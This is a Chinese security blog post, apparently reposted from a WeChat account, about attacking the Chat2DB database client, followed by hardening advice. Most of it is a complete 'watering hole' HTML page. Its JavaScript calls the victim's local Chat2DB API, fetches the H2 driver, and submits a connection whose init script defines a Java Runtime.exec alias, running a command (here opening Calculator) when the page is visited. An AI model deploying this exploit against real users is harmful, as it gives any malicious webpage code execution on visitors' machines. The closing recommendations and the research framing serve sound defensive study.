关于工具
Chat2DB 是一款由阿里巴巴开源免费的多数据库客户端工具,支持 windows、mac 本地安装,也支持服务器端部署,web网页访问。和传统的数据库客户端软件 Navicat、DBeaver 相比 Chat2DB 集成了 AIGC 的能力,能够将自然语言转换为 SQL, 也可以将 SQL 转换为自然语言,可以给出研发人员 SQL 的优化建议,极大的提升人员的效率,是 AI 时代数据库研发人员的利器, 不懂 SQL 的运营或业务也可以轻松使用快速查询业务数据、生成报表的能力。
杜绝废话
水坑页面:
<html>
<title>chat2db</title>
<meta charset="utf-8" />
<script type="text/javascript">
async function checkEnv() {
const url = 'http://127.0.0.1:10824/api/jdbc/driver/list?dbType=H2';
try {
const response = await fetch(url);
if (response.ok) {
const data = await response.json();
const driverConfigList = data.data.driverConfigList;
if (Array.isArray(driverConfigList) && driverConfigList.length > 0) {
return true;
} else {
return false;
}
} else {
return false;
}
} catch (error) {
console.error(error);
return false;
}
}
async function download() {
const url = 'http://127.0.0.1:10824/api/jdbc/driver/download?dbType=H2';
try {
const response = await fetch(url);
if (response.ok) {
const data = await response.json();
const success = data.success;
if (success) {
return true;
} else {
return false;
}
} else {
return false;
}
} catch (error) {
console.error(error);
return false;
}
}
function exploit() {
var data = {
ssh:
{
use: false, hostName: "", port: "22", userName: "", localPort: "", authenticationType: "password", password: ""
},
driverConfig:
{
jdbcDriverClass: "org.h2.Driver"
},
alias: "@localhost", environmentId: 1, host: "localhost", port: "9092", authenticationType: "1", user: "root", password: "123", database: "123", url: "jdbc:h2:mem:test;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;", extendInfo: [{ key: "init", value: "CREATE ALIAS IF NOT EXISTS vulcheck AS CONCAT('void e(String cmd) throws java.io.IOException{','java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}');CALL vulcheck('open -a Calculator');" }],
connectionEnvType: "DAILY", type: "H2"
}
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://127.0.0.1:10824/api/connection/datasource/pre_connect', true);
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.send(JSON.stringify(data));
}
checkEnv()
.then(result => {
console.log('[+] env:', result);
exploit()
})
.catch(error => {
console.error('[-] env:', error);
download()
.then(result => {
console.log('[+] download:', result);
exploit()
})
.catch(error => {
console.error('[-] download:', error);
});
});
</script>
<body>
<h1>chat2db</h1>
</body>
</html>
安全建议
1.作为客户端,web服务不应该不做鉴权还监听0.0.0.0,同内网环境下等于裸奔。
2.作为客户端,web服务应当禁止跨域调用,或可配置选项,不然用户访问的任意页面均有可操作客户端所有API,保存的账密之类的东西就等于是别人的,造成隐患。
3.作为服务端,这里特指提供给团队公用(多人公用)的情况应该做权限隔离,做执行环境隔离,避免因jdbc驱动上传功能,以及驱动本身安全问题导致的一系列安全问题。如果这个工具整体的定位就只是给个人使用,非团队工具的话,我认为整体做好鉴权即可,jdbc安全问题可忽略。
原文始发于微信公众号(Medi0cr1ty):利用Chat2DB溯源攻击者
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论